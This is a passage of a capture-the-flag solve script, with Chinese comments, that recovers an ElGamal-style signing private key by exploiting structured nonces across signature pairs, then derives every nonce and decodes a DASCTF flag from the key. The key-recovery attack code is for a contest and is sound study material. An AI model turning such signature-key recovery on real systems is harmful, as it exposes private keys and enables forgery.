for j in range(i + 1, num_sigs):
for weight in WEIGHT_CANDIDATES:
print(f"[*] 尝试签名对 ({i}, {j}),缩放权重={weight}...", flush=True)
result = attack_single_pair(i, j, weight)

if result is None:
continue

_, _, private_key = result

# 验证所有签名
recovered_nonces = []
for msg_idx, (r, s) in enumerate(SIGNATURES):
k_mod = (msg_idx + r * private_key) * pow(s, -1, MODULUS) % MODULUS
candidates = [k_mod, k_mod + MODULUS]
valid = [k for k in candidates if k < (1 << 256) and check_nonce_structure(k)]

if len(valid) != 1:
break
recovered_nonces.append(valid[0])
else:
return private_key, recovered_nonces

raise RuntimeError("私钥恢复失败:所有尝试均未成功")


# ==================== 主程序 ====================
def extract_flag_from_key(private_key):
"""从私钥中提取 flag 字符串"""
key_bytes = private_key.to_bytes(BLOCK_SIZE, "big")
print(f"[+] 填充字节: {key_bytes!r}")

# 提取可打印 ASCII 字符
flag_chars = []
for byte in key_bytes:
if 32 <= byte < 127:
flag_chars.append(chr(byte))
else:
break

return "DASCTF{" + "".join(flag_chars) + "}"


def main():
print("[*] 开始 ElGamal 私钥恢复攻击...")
private_key, nonces = full_private_key_recovery()

print(f"\n[+] 成功恢复私钥:")
print(f" d mod p = {private_key}")

print(f"\n[+] 恢复的 nonce 值:")
for idx, nonce in enumerate(nonces):
print(f" k[{idx}] = {hex(nonce)}")

flag = extract_flag_from_key(private_key)
print(f"\n[*] 提取的 Flag: {flag}")


if __name__ == "__main__":
main()